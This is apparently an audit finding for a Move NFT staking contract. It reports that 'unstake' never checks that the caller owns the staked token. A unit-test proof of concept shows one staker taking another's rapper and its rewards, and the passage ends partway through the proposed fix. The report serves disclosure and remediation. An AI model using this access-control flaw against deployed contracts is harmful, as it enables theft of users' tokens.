User who has staked a rapper can unstake any rapper owned by module owner
Description
When an NFT is staked, only the original staker should be able to unstake that specific NFT. However, the unstake path does not verify that the provided signer is the recorded owner of the staked token. As a result, any user who who has staked a rapper can unstake any rapper.
Unstaking any rapper additionally applies to rappers entered in a battle.
Risk
Likelihood: Low
The unstake function is callable from the stakers, however, the module owner should sign so we expect there are some off-chain checks and as such classifying low.
Impact: High
Once the transaction is signed by the module owner, the NFT and the rewards are transferred to the caller even if the NFT does not belong to them.
Proof of Concept
#[test]
public fun test_prove_unstake_other_user_rapper () {
let module_owner = account::create_account_for_test(@battle_addr);
let framework = account::create_account_for_test(@0x1);
let recipient1 = account::create_account_for_test(@0xA);
let recipient2 = account::create_account_for_test(@0xB);
timestamp::set_time_has_started_for_testing(&framework);
cred_token::initialize_for_test(&module_owner, &framework);
cred_token::register(&recipient1);
cred_token::register(&recipient2);
one_shot::mint_rapper(&module_owner, signer::address_of(&recipient1));
one_shot::mint_rapper(&module_owner, signer::address_of(&recipient2));
let tokens = one_shot::get_tokens();
assert!(vector::length(&tokens) == 2);
let token_1_address = vector::borrow(&tokens, 0);
let token1 = object::address_to_object<token::Token>(*token_1_address);
assert!(object::owner(token1) == signer::address_of(&recipient1))
assert!(one_shot::get_token_owner(*token_1_address) == signer::address_of(&recipient1));
streets::stake(&recipient1, token1);
let token_2_address = vector::borrow(&tokens, 1);
let token2 = object::address_to_object<token::Token>(*token_2_address);
assert!(object::owner(token2) == signer::address_of(&recipient2))
assert!(one_shot::get_token_owner(*token_2_address) == signer::address_of(&recipient2));
streets::stake(&recipient2, token2);
timestamp::fast_forward_seconds(5 * 24 * 60 * 60);
streets::unstake(&recipient1, &module_owner, token2);
assert!(object::owner(token2) == signer::address_of(&recipient1))
assert!(one_shot::get_token_owner(*token_2_address) == signer::address_of(&recipient1));
}
The test above shows that recipient1 can unstake the rapper owner by recipient2 and the ownership of the rapper is transferred to recipient1 along with the rewards.
Recommended Mitigation
Check the recorded owner before performing any transfer in unstake.
Abort when the caller is not the recorded owner.
struct StakeInfo has key, store {
start_time_seconds: u64,
owner: address,
+ token_id: address,
}
....
public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
+ assert!(stake_info.token_id == token_id, E_NOT_OWNER);
